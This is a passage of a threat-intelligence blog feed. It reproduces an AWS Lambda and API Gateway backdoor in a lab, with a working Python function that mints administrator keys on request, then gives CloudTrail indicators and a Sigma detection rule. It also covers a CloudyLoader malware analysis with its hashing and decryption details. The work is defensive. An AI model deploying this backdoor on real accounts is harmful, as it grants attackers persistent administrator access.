<figure class="wp-block-image"><img width="1024" height="686" src="https://ptesc.tech/wp-content/uploads/2025/11/photo_426@24-11-2025_14-30-15-1024x686.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/11/photo_426@24-11-2025_14-30-15-1024x686.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/11/photo_426@24-11-2025_14-30-15-300x201.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/11/photo_426@24-11-2025_14-30-15-768x515.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/11/photo_426@24-11-2025_14-30-15.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="714" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/11/photo_427@24-11-2025_14-30-15-714x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/11/photo_427@24-11-2025_14-30-15-714x1024.jpg 714w, https://ptesc.tech/wp-content/uploads/2025/11/photo_427@24-11-2025_14-30-15-209x300.jpg 209w, https://ptesc.tech/wp-content/uploads/2025/11/photo_427@24-11-2025_14-30-15-768x1101.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/11/photo_427@24-11-2025_14-30-15.jpg 893w" sizes="auto, (max-width: 714px) 100vw, 714px" /></figure>
<figure class="wp-block-image"><img width="1024" height="662" src="https://ptesc.tech/wp-content/uploads/2025/11/photo_428@24-11-2025_14-30-15-1024x662.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/11/photo_428@24-11-2025_14-30-15-1024x662.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/11/photo_428@24-11-2025_14-30-15-300x194.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/11/photo_428@24-11-2025_14-30-15-768x496.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/11/photo_428@24-11-2025_14-30-15.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="707" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/11/photo_429@24-11-2025_14-30-16-707x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/11/photo_429@24-11-2025_14-30-16-707x1024.jpg 707w, https://ptesc.tech/wp-content/uploads/2025/11/photo_429@24-11-2025_14-30-16-207x300.jpg 207w, https://ptesc.tech/wp-content/uploads/2025/11/photo_429@24-11-2025_14-30-16-768x1112.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/11/photo_429@24-11-2025_14-30-16.jpg 884w" sizes="auto, (max-width: 707px) 100vw, 707px" /></figure>
<figure class="wp-block-image"><img width="572" height="1024" src="https://ptesc.tech/wp-content/uploads/2025/11/photo_430@24-11-2025_14-30-16-572x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/11/photo_430@24-11-2025_14-30-16-572x1024.jpg 572w, https://ptesc.tech/wp-content/uploads/2025/11/photo_430@24-11-2025_14-30-16-168x300.jpg 168w, https://ptesc.tech/wp-content/uploads/2025/11/photo_430@24-11-2025_14-30-16.jpg 715w" sizes="auto, (max-width: 572px) 100vw, 572px" /></figure>

<br />
<br />
<span class="hashtag">#TI</span> <span class="hashtag">#reverse</span> <span class="hashtag">#malware</span> <span class="hashtag">#tip</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Idea for a correlation rule in SIEM</title>
		<link>https://ptesc.tech/en/idea-for-a-correlation-rule-in-siem/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Mon, 29 Sep 2025 17:16:11 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[sigma]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b8%d0%b4%d0%b5%d1%8f-%d0%b4%d0%bb%d1%8f-%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d0%bb%d0%b0-%d0%ba%d0%be%d1%80%d1%80%d0%b5%d0%bb%d1%8f%d1%86%d0%b8%d0%b8-%d0%b2-siem/</guid>

					<description><![CDATA[Idea for a SIEM correlation rule 💡 Although tracking the entire attack chain described in the posts above provides a complete picture, the strongest and simplest signal to implement is the user creation event itself. IF eventName = CreateUs…]]></description>
										<content:encoded><![CDATA[<p><strong>Idea for a SIEM correlation rule</strong> <strong>💡 </strong></p>
<p>Although tracking the entire attack chain described in the posts above provides a complete picture, the strongest and simplest signal to implement is the user creation event itself.</p>
<p>IF <code>eventName = CreateUser</code> AND <code>userIdentity</code> points to a Lambda function role (<code>userIdentity.inScopeOf.issuerType = AWS::Lambda::Function</code>), <br />
THEN generate a high-priority alert.</p>
<p>Given that creating users via Lambda functions is extremely rare and anomalous behavior, such a rule will have a very low false positive rate.</p>
<p><strong>Sigma rule:</strong></p>
<pre><code>title: Suspicious IAM User Creation by AWS Lambda Function
id: 700feb27-05a5-4ba1-ae80-2c8d0d3591eb
status: test
description: &gt;-
    Detects the creation or modification of an IAM user/credentials where the action is initiated by an AWS Lambda function&#039;s execution role.
    This is a highly anomalous behavior and a key indicator of the &quot;Persistence-as-a-Service&quot; technique,
    where an attacker uses a Lambda function (often exposed via an open API Gateway) to create backdoor users.
references:
    - https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/
author: &#039;PT ESC&#039;
date: &#039;2025/09/20&#039;
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventName:
            - CreateUser
            - CreateAccessKey
            - AttachUserPolicy
            - UpdateLoginProfile
        userIdentity.inScopeOf.issuerType: &#039;AWS::Lambda::Function&#039;
    condition: selection
falsepositives:
    - Legitimate workflows that use Lambda to automatically create users (e.g., a custom registration portal). These functions should be added to the exceptions.
level: high
</code></pre>
<p>This experiment once again proved that monitoring the actions of the services themselves (not just users) is the key to cloud security. What other cloud persistence techniques have you encountered?</p>
<p><span class="hashtag">#detect</span> <span class="hashtag">#tip</span> <span class="hashtag">#sigma</span> <span class="hashtag">#reverse</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>We continue reproducing the attack from the post above 🔼</title>
		<link>https://ptesc.tech/en/continuing-to-reproduce-the-attack-from-the-post-above/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Mon, 29 Sep 2025 14:37:31 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bf%d1%80%d0%be%d0%b4%d0%be%d0%bb%d0%b6%d0%b0%d0%b5%d0%bc-%d0%b2%d0%be%d1%81%d0%bf%d1%80%d0%be%d0%b8%d0%b7%d0%b2%d0%be%d0%b4%d0%b8%d1%82%d1%8c-%d0%b0%d1%82%d0%b0%d0%ba%d1%83-%d0%b8%d0%b7-%d0%bf/</guid>

					<description><![CDATA[Continuing to reproduce the attack from the post above 🔼 3️⃣ Creating a public API Gateway trigger (screenshot 1) At the end, we need to expose the function to the internet. We added an API Gateway trigger to the Lambda function, specifying…]]></description>
										<content:encoded><![CDATA[<strong>Continuing to reproduce the attack from the post above 🔼</strong><br />
<br />
3️⃣<strong> Creating a public API Gateway trigger</strong> (<em>screenshot 1</em>)<br />
<br />
At the end, we need to expose the function to the internet. We added an API Gateway trigger to the Lambda function, specifying <code>Security: Open</code> in the settings. A public URL is created, which became the backdoor. It will look something like this:<br />
<br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml"><span class="hljs-string">https://abcdef123.execute-api.eu-central-1.amazonaws.com/default/create-backdoor-user-poc</span>
</code></span></pre><br />
<br />
Note: since the cold start and three API calls can take a noticeable amount of time, we increased the Lambda function timeout from the default 3 to 15 seconds.<br />
<br />
4️⃣<strong> Executing the attack</strong><br />
<br />
Now it&#8217;s enough to simply navigate to the URL generated by API Gateway. In response, the browser receives JSON with fresh credentials of the new administrator (<em>screenshot 2</em>):<br />
<br />
<pre class="wp-block-code"><span><code lang="json" class="hljs language-json language-json">{
  <span class="hljs-attr">"AccessKeyId"</span>: <span class="hljs-string">"AKIAS22MVUU75MYRNT3U"</span>,
  <span class="hljs-attr">"SecretAccessKey"</span>: <span class="hljs-string">"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"</span>,
  <span class="hljs-attr">"UserName"</span>: <span class="hljs-string">"backdoor-user-20250921-155854"</span>
}
</code></span></pre><br />
<br />
When checking the result in AWS, we see the newly created user with the <code>AdministratorAccess</code> policy attached (<em>screenshot 3</em>).<br />
 <br />
<strong>👣 Digital footprint</strong><br />
<br />
Analysis of AWS CloudTrail logs showed that reliable detection requires tracking the entire chain of events.<br />
<br />
<strong>1️⃣ CreateRole event (creating a role for Lambda)</strong><br />
<br />
At the first stage, a log entry appears for the creation of an IAM role with the telling name lambda-backdoor-role, intended for the Lambda service. This action by itself is not malicious, but it is where the chain begins.<br />
<br />
• <code>eventName: CreateRole</code> — the action itself.<br />
•<code> requestParameters.roleName: lambda-backdoor-role</code> — the role name.<br />
• <code>userIdentity.userName</code> — who exactly created this role.<br />
<br />
2️⃣<strong> CreateFunction event (creating the Lambda function)</strong><br />
<br />
Next, we see that the very role created in the first step is attached to the new function create-backdoor-user-poc (requestParameters.role).<br />
<br />
• <code>eventName: CreateFunction2015033</code>1 — the action of creating the function.<br />
• <code>requestParameters.functionName: create-backdoor-user-poc</code> — the function name.<br />
• <code>requestParameters.role: arn:aws:iam::***:role/lambda-backdoor-role</code> — shows that the very role created in the first step is attached to the new function.<br />
<br />
<strong>3️⃣ CreateApi event (creating the API Gateway trigger)</strong><br />
<br />
Here a public API is created. The key indicator in the log is the field userIdentity.invokedBy with the value AWS Internal and requestParameters.description equal to Created by AWS Lambda. This indicates that the API was created automatically through the Lambda interface, which is characteristic of this attack.<br />
<br />
<strong>4️⃣ CreateUser event (creating the backdoor user)</strong><br />
<br />
In the log we see an event of a new user being created, but the field <code>userIdentity.sessionContext.sessionIssuer.userName</code> contains the name of our role <code>lambda-backdoor-role</code>. This is an anomaly: a service role suddenly started creating users.<br />
<br />
• <code>eventName: CreateUser</code> — the action itself.<br />
• <code>userIdentity.type: AssumedRole</code> — indicates that the action was performed not directly by a user, but by a role.<br />
• <code>userIdentity.sessionContext.sessionIssuer.userName: lambda-backdoor-role</code> — the initiating user is not a human, but the Lambda service role. This is an anomaly.<br />
• <code>requestParameters.userName: backdoor-user-20250921-155854</code> — the name of the created user.<br />
• At the very bottom of the userIdentity object there is a special block <code>inScopeOf</code>. The field <code>&quot;issuerType&quot;: &quot;AWS::Lambda::Function&quot;</code> — this indicates that the temporary credentials used for this API call were issued specifically to the Lambda function.<br />
• Another very strong indicator is userAgent: the presence of the substring <code>exec-env/AWS_Lambda</code>. This string is added by the Lambda runtime and shows that the code that made the API call was executed specifically in the Lambda environment.<br />
<br />
If the post gets three likes, then in the next one we&#8217;ll share an idea for a correlation rule in SIEM 😉

<figure class="wp-block-image"><img width="1024" height="597" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_389@29-09-2025_14-37-31-1024x597.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_389@29-09-2025_14-37-31-1024x597.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_389@29-09-2025_14-37-31-300x175.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_389@29-09-2025_14-37-31-768x448.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_389@29-09-2025_14-37-31.jpg 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="597" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_390@29-09-2025_14-37-31-1024x597.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_390@29-09-2025_14-37-31-1024x597.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_390@29-09-2025_14-37-31-300x175.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_390@29-09-2025_14-37-31-768x448.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_390@29-09-2025_14-37-31.jpg 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#detect</span> <span class="hashtag">#tip</span> <span class="hashtag">#reverse</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>☁️ AWS backdoor as a service: persistence in the cloud via Lambda</title>
		<link>https://ptesc.tech/en/aws-backdoor-as-a-service-persistence-in-the-cloud-via-lambda/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Mon, 29 Sep 2025 14:37:09 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">http://localhost:8080/%e2%98%81%ef%b8%8f-aws-%d0%b1%d1%8d%d0%ba%d0%b4%d0%be%d1%80-%d0%ba%d0%b0%d0%ba-%d1%83%d1%81%d0%bb%d1%83%d0%b3%d0%b0-%d0%b7%d0%b0%d0%ba%d1%80%d0%b5%d0%bf%d0%bb%d0%b5%d0%bd%d0%b8%d0%b5-%d0%b2-%d0%be/</guid>

					<description><![CDATA[☁️ AWS backdoor as a service: persistence in the cloud via Lambda The cloud threat landscape is constantly evolving, and attackers are increasingly abusing legitimate services for their own purposes. Our attention was drawn to an AWS persis…]]></description>
										<content:encoded><![CDATA[<p><strong>☁️ AWS backdoor as a service: persistence in the cloud via Lambda</strong></p>
<p>The cloud threat landscape is constantly evolving, and attackers are increasingly abusing legitimate services for their own purposes. Our attention was drawn to an AWS persistence technique known as persistence as a service, which uses a combination of AWS Lambda and API Gateway. We decided to reproduce this attack exactly in our AWS test lab in order to study its digital footprint and understand how it can be effectively detected.</p>
<p><strong>🎯 The essence of the attack </strong></p>
<p>After gaining initial access to an account, an attacker creates a mechanism that allows them to return to the system even after their stolen credentials are blocked. </p>
<p><strong>How it works:</strong></p>
<p><strong>1.</strong> A Lambda function is created that is capable of programmatically creating new IAM users with administrator privileges.</p>
<p><strong>2.</strong> Using Amazon API Gateway, a public HTTP URL is created that does not require authentication to access.</p>
<p><strong>3.</strong> API Gateway is configured so that any request to this URL automatically triggers the created Lambda function.</p>
<p>As a result, the attacker gets a &#8220;backdoor as a service.&#8221; They no longer need stolen keys; simply visiting the link is enough to instantly obtain new administrator credentials.</p>
<p><strong>⚙️ Reproducing the attack </strong></p>
<p>In the test environment, the attack consisted of three main stages: preparing permissions, creating the malicious code, and exposing access externally.</p>
<p>1️⃣ <strong>Creating a role for the Lambda function</strong></p>
<p>First, we created a policy (we named it <code>LambdaCreateUserPolicy</code>) that grants permissions to create a user, create access keys, and attach an administrator policy (so that our backdoor user would be all-powerful).</p>

<pre class="wp-block-code"><span><code class="hljs language-json">{
    <span class="hljs-attr">"Version"</span>: <span class="hljs-string">"2012-10-17"</span>,
    <span class="hljs-attr">"Statement"</span>: &#91;
        {
            <span class="hljs-attr">"Effect"</span>: <span class="hljs-string">"Allow"</span>,
            <span class="hljs-attr">"Action"</span>: &#91;
                <span class="hljs-string">"iam:CreateUser"</span>,
                <span class="hljs-string">"iam:CreateAccessKey"</span>,
                <span class="hljs-string">"iam:AttachUserPolicy"</span>
            ],
            <span class="hljs-attr">"Resource"</span>: <span class="hljs-string">"*"</span>
        }
    ]
}
</code></span></pre>

<p>Next, we created an IAM role that would give the future function permissions to create users and manage permissions:</p>
<p>• <code>Trusted entity type: AWS service</code><br />
• <code>Use case: Lambda</code><br />
• Attach the previously created policy <code>LambdaCreateUserPolicy</code><br />
• Role name: <code>lambda-backdoor-role</code></p>
<p>2️⃣<strong> Creating the Lambda function</strong></p>
<p>Then we create the Lambda function itself in Python, which:</p>
<p>• generates a unique username based on the current date and time;<br />
• creates this user;<br />
• attaches the AdministratorAccess policy to them;<br />
• generates Access Keys for them;<br />
• returns these keys as a JSON response.</p>
<p>This allows the attacker to obtain fresh unique credentials on every invocation. Here are the parameters of the test script:</p>
<p>• <code>Function name</code>, in our case <code>create-backdoor-user-poc</code><br />
• <code>Runtime: Python 3.12</code><br />
• <code>Execution role</code>: pointed to the previously created role <code>lambda-backdoor-role</code></p>

<pre class="wp-block-code"><span><code class="hljs language-python"><span class="hljs-keyword">import</span> json
<span class="hljs-keyword">import</span> boto3
<span class="hljs-keyword">from</span> datetime <span class="hljs-keyword">import</span> datetime, timezone
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">lambda_handler</span><span class="hljs-params">(event, context)</span>:</span>
    iam = boto3.client(<span class="hljs-string">'iam'</span>)
    timestamp = datetime.now(timezone.utc).strftime(<span class="hljs-string">'%Y%m%d-%H%M%S'</span>)
    username = <span class="hljs-string">f'backdoor-user-<span class="hljs-subst">{timestamp}</span>'</span>
    policy_arn = <span class="hljs-string">'arn:aws:iam::aws:policy/AdministratorAccess'</span>
    <span class="hljs-keyword">try</span>:
        iam.create_user(UserName=username)
        iam.attach_user_policy(UserName=username, PolicyArn=policy_arn)
        response = iam.create_access_key(UserName=username)
        credentials = {
            <span class="hljs-string">"AccessKeyId"</span>: response&#91;<span class="hljs-string">'AccessKey'</span>]&#91;<span class="hljs-string">'AccessKeyId'</span>],
            <span class="hljs-string">"SecretAccessKey"</span>: response&#91;<span class="hljs-string">'AccessKey'</span>]&#91;<span class="hljs-string">'SecretAccessKey'</span>],
            <span class="hljs-string">"UserName"</span>: username
        }
        <span class="hljs-keyword">return</span> {
            <span class="hljs-string">'statusCode'</span>: <span class="hljs-number">200</span>,
            <span class="hljs-string">'body'</span>: json.dumps(credentials, indent=<span class="hljs-number">2</span>)
        }
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        <span class="hljs-keyword">return</span> {
            <span class="hljs-string">'statusCode'</span>: <span class="hljs-number">500</span>,
            <span class="hljs-string">'body'</span>: json.dumps(str(e))
        }
</code></span></pre>

<p>3️⃣<strong> Creating a public API Gateway trigger</strong> (<em>screenshot 1</em>)</p>
<p>Finally, the function needs to be exposed to the internet. We added an API Gateway trigger to the Lambda function, specifying <code>Security: Open</code> in the settings. A public URL is created, and that became the backdoor. It will look approximately like this:</p>
<p></p>
<pre class="wp-block-code"><code>https://abcdef123.execute-api.eu-central-1.amazonaws.com/default/create-backdoor-user-poc
</code></pre>
<p></p>
<p>Note: since a cold start and three API calls can take a noticeable amount of time, we increased the Lambda function timeout from the default 3 to 15 seconds.</p>
<p>4️⃣<strong> Executing the attack</strong></p>
<p>Now it is enough to simply visit the URL generated by API Gateway. In response, the browser receives JSON with fresh credentials for the new administrator (<em>screenshot 2</em>):</p>
<p></p>
<pre class="wp-block-code"><code>{
  "AccessKeyId": "AKIAS22MVUU75MYRNT3U",
  "SecretAccessKey": "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",
  "UserName": "backdoor-user-20250921-155854"
}
</code></pre>
<p></p>
<p>When checking the result in AWS, we see the newly created user with the <code>AdministratorAccess</code> policy attached (<em>screenshot 3</em>).</p>
<p><strong>👣 Digital footprint</strong></p>
<p>Analysis of AWS CloudTrail logs showed that reliable detection requires monitoring the entire chain of events.</p>
<p><strong>1️⃣ CreateRole event (creating a role for Lambda)</strong></p>
<p>At the first stage, a log entry appears for the creation of an IAM role with the telling name lambda-backdoor-role, intended for the Lambda service. This action by itself is not malicious, but it is where the chain begins.</p>
<p>• <code>eventName: CreateRole</code> — the action itself.<br />•<code> requestParameters.roleName: lambda-backdoor-role</code> — the role name.<br />• <code>userIdentity.userName</code> — who exactly created this role.</p>
<p>2️⃣<strong> CreateFunction event (creating the Lambda function)</strong></p>
<p>Next, we see that the very role created in the first step is attached to the new function create-backdoor-user-poc (requestParameters.role).</p>
<p>• <code>eventName: CreateFunction2015033</code>1 — the action of creating the function.<br />• <code>requestParameters.functionName: create-backdoor-user-poc</code> — the function name.<br />• <code>requestParameters.role: arn:aws:iam::***:role/lambda-backdoor-role</code> — shows that the very role created in the first step is attached to the new function.</p>
<p><strong>3️⃣ CreateApi event (creating the API Gateway trigger)</strong></p>
<p>Here a public API is created. The key indicator in the log is the field userIdentity.invokedBy with the value AWS Internal and requestParameters.description equal to Created by AWS Lambda. This indicates that the API was created automatically through the Lambda interface, which is characteristic of this attack.</p>
<p><strong>4️⃣ CreateUser event (creating the backdoor user)</strong></p>
<p>In the log we see an event for the creation of a new user, but the field <code>userIdentity.sessionContext.sessionIssuer.userName</code> contains the name of our role <code>lambda-backdoor-role</code>. This is an anomaly: a service role suddenly started creating users.</p>
<p>• <code>eventName: CreateUser</code> — the action itself.<br />• <code>userIdentity.type: AssumedRole</code> — indicates that the action was performed not directly by a user, but by a role.<br />• <code>userIdentity.sessionContext.sessionIssuer.userName: lambda-backdoor-role</code> — the initiating user is not a human, but a Lambda service role. This is an anomaly.<br />• <code>requestParameters.userName: backdoor-user-20250921-155854</code> — the name of the created user.<br />• At the very bottom of the userIdentity object there is a special block <code>inScopeOf</code>. The field <code>"issuerType": "AWS::Lambda::Function"</code> — this indicates that the temporary credentials used for this API call were issued specifically to a Lambda function.<br />• Another very strong indicator is the userAgent: the presence of the substring <code>exec-env/AWS_Lambda</code>. This string is added by the Lambda runtime and shows that the code that made the API call was executed within the Lambda environment.</p>
<p>If this post gets three likes, then in the next one we&#8217;ll share an idea for a correlation rule in SIEM 😉</p>
<figure class="wp-block-image"><img loading="lazy" decoding="async" class="attachment-large size-large" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_389@29-09-2025_14-37-31-1024x597.jpg" alt="" width="1024" height="597" /></figure>
<figure class="wp-block-image"><img loading="lazy" decoding="async" class="attachment-large size-large" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_390@29-09-2025_14-37-31-1024x597.jpg" alt="" width="1024" height="597" /></figure>
<p><strong>Idea for a correlation rule in SIEM</strong> <strong>💡 </strong></p>
<p>Although tracking the entire attack chain described in the posts above provides the full picture, the strongest and simplest signal to implement is the user creation event itself.</p>
<p>IF <code>eventName = CreateUser</code> AND <code>userIdentity</code> points to a Lambda function role (<code>userIdentity.inScopeOf.issuerType = AWS::Lambda::Function</code>), <br />THEN generate a high-priority alert.</p>
<p>Given that the creation of users by Lambda functions is extremely rare and anomalous behavior, such a rule will have a very low false positive rate.</p>
<p><strong>Sigma rule:</strong></p>
<p></p>
<pre class="wp-block-code"><code>title: Suspicious IAM User Creation by AWS Lambda Function
id: 700feb27-05a5-4ba1-ae80-2c8d0d3591eb
status: test
description: &gt;-
    Detects the creation or modification of an IAM user/credentials where the action is initiated by an AWS Lambda function's execution role.
    This is a highly anomalous behavior and a key indicator of the "Persistence-as-a-Service" technique,
    where an attacker uses a Lambda function (often exposed via an open API Gateway) to create backdoor users.
references:
    - https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/
author: 'PT ESC'
date: '2025/09/20'
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventName:
            - CreateUser
            - CreateAccessKey
            - AttachUserPolicy
            - UpdateLoginProfile
        userIdentity.inScopeOf.issuerType: 'AWS::Lambda::Function'
    condition: selection
falsepositives:
    - Legitimate workflows that use Lambda to automatically create users (e.g., a custom registration portal). These functions should be added to the exceptions.
level: high
</code></pre>
<p></p>
<p>This experiment once again proved that monitoring the actions of the services themselves (and not just users) is the key to security in the cloud. And what other cloud persistence techniques have you encountered?</p>
<p><span class="hashtag">#detect</span> <span class="hashtag">#tip</span> <span class="hashtag">#sigma</span> <span class="hashtag">#reverse</span><br /><a href="https://t.me/ptescalator" target="_blank" rel="noopener">@ptescalator</a></p>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>APT31 grouping tool. CloudyLoader</title>
		<link>https://ptesc.tech/en/apt31-grouping-tool-cloudyloader/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Tue, 16 Sep 2025 13:50:43 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b8%d0%bd%d1%81%d1%82%d1%80%d1%83%d0%bc%d0%b5%d0%bd%d1%82-%d0%b3%d1%80%d1%83%d0%bf%d0%bf%d0%b8%d1%80%d0%be%d0%b2%d0%ba%d0%b8-apt31-cloudyloader/</guid>

					<description><![CDATA[APT31 Grouping Tool. CloudyLoader 🌩 In one of the incidents, the PT ESC IR team encountered an interesting malicious file that loads a payload in several stages. The malicious sample consists of a legitimate component file BsSndRpt.exe from…]]></description>
										<content:encoded><![CDATA[<strong>APT31 Grouping Tool. CloudyLoader</strong> 🌩<br />
<br />
In one of the incidents, the PT ESC IR team encountered an interesting malicious file that loads a payload in several stages. The malicious sample consists of a legitimate component file <code>BsSndRpt.exe</code> from the <strong>BugSplat</strong> software, which is a system for collecting and analyzing error reports, a dynamic library <code>BugSplatRc64.dll</code>, and a payload file (shellcode). For the legitimate file to work properly, <code>BugSplatRc64.dll</code> is required, which is the loader.<br />
<br />
The malicious dynamic library is wrapped with the VmProtect version 3 protector, and the section name has been changed to <code>.qwdlgje</code> (<em>screenshot 1</em>). To hide Windows API calls, the malware uses the API Hashing technique: a hash is calculated to find the function name and DLL name. The hashing algorithm is as follows:<br />
<br />
<pre class="wp-block-code"><span><code lang="python" class="hljs language-python language-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">CalculateAPIHash</span><span class="hljs-params">(data: bytes)</span>:</span>
    v3 = <span class="hljs-number">0xFFFFFFFF</span>
    <span class="hljs-keyword">for</span> byte <span class="hljs-keyword">in</span> data:
        temp1 = (<span class="hljs-number">2</span> * byte) ^ ((<span class="hljs-number">2</span> * byte) ^ (byte &gt;&gt; <span class="hljs-number">1</span>)) &amp; <span class="hljs-number">0x55555555</span>
        v4 = temp1 &gt;&gt; <span class="hljs-number">2</span>
        v5 = <span class="hljs-number">4</span> * temp1
        temp2 = v5 ^ (v5 ^ v4) &amp; <span class="hljs-number">0x33333333</span>
        v6 = ((temp2 &gt;&gt; <span class="hljs-number">4</span>) | (<span class="hljs-number">16</span> * (temp2 &amp; <span class="hljs-number">0xFF0F0F0F</span>))) &amp; <span class="hljs-number">0xFFFFFFFF</span>
        v8 = int.from_bytes(v6.to_bytes(<span class="hljs-number">4</span>, <span class="hljs-string">'little'</span>), <span class="hljs-string">'big'</span>)
        <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">8</span>):
            <span class="hljs-keyword">if</span> (v3 ^ v8) &amp; <span class="hljs-number">0x80000000</span>:
                v3 ^= <span class="hljs-number">0xC520DEC7</span>
            v3 = (v3 * <span class="hljs-number">2</span>) &amp; <span class="hljs-number">0xFFFFFFFF</span>
            v8 = (v8 * <span class="hljs-number">2</span>) &amp; <span class="hljs-number">0xFFFFFFFF</span>
    
    v9 = (~v3) &amp; <span class="hljs-number">0xFFFFFFFF</span>
    v10 = (<span class="hljs-number">4</span> * ((<span class="hljs-number">2</span> * v9) ^ ((<span class="hljs-number">2</span> * v9) ^ (v9 &gt;&gt; <span class="hljs-number">1</span>)) &amp; <span class="hljs-number">0x55555555</span>))  &amp; <span class="hljs-number">0xFFFFFFFF</span>
    v11 = (v10 ^ (v10 ^ (((<span class="hljs-number">2</span> * v9) ^ ((<span class="hljs-number">2</span> * v9) ^ (v9 &gt;&gt; <span class="hljs-number">1</span>)) &amp; <span class="hljs-number">0x55555555</span>) &gt;&gt; <span class="hljs-number">2</span>)) &amp; <span class="hljs-number">0x33333333</span>)  &amp; <span class="hljs-number">0xffffffff</span>
    v11 = ((<span class="hljs-number">16</span> * v11) ^ ((<span class="hljs-number">16</span> * v11) ^ (v11 &gt;&gt; <span class="hljs-number">4</span>)) &amp; <span class="hljs-number">0xF0F0F0F</span>) &amp; <span class="hljs-number">0xffffffff</span>
    <span class="hljs-keyword">return</span> int.from_bytes(v11.to_bytes(<span class="hljs-number">4</span>, <span class="hljs-string">'little'</span>), <span class="hljs-string">'big'</span>)
</code></span></pre><br />
<br />
When calculating the hash value, DLL names must be supplied as input in uppercase (for example, <code>KERNEL32.DLL</code>), while function names remain unchanged. <br />
<br />
After all the preparations, <code>BugSplatRc64.dll</code> creates a <code>makecab.exe</code> process, and the payload file, which is shellcode, is decrypted using an XOR operation with the key <code>5d 72 89 80</code>. All strings used in the DLL are XOR-encrypted.<br />
<br />
<strong>Stages of obtaining the main payload</strong><br />
<br />
1. Request to the scrcpyClone repository of user Range1992: <code>https://raw.githubusercontent.com/Range1992/scrcpyClone/refs/heads/master/app/data/zsh-completion/_scrcpy</code> (<em>screenshots 2, 3</em>). In the data received from Git, the malicious code looks for the start marker (<code>QQNSR4u</code>) and end marker (<code>ZsNpk7Y</code>) of the encoded string. It then extracts the data between the markers, decodes it from Base64 format, and decrypts it using the RC4 algorithm with the key <code>03 07 A0 B0 E3 80 88 77</code>. The resulting data is the address of the main payload.<br />
<br />
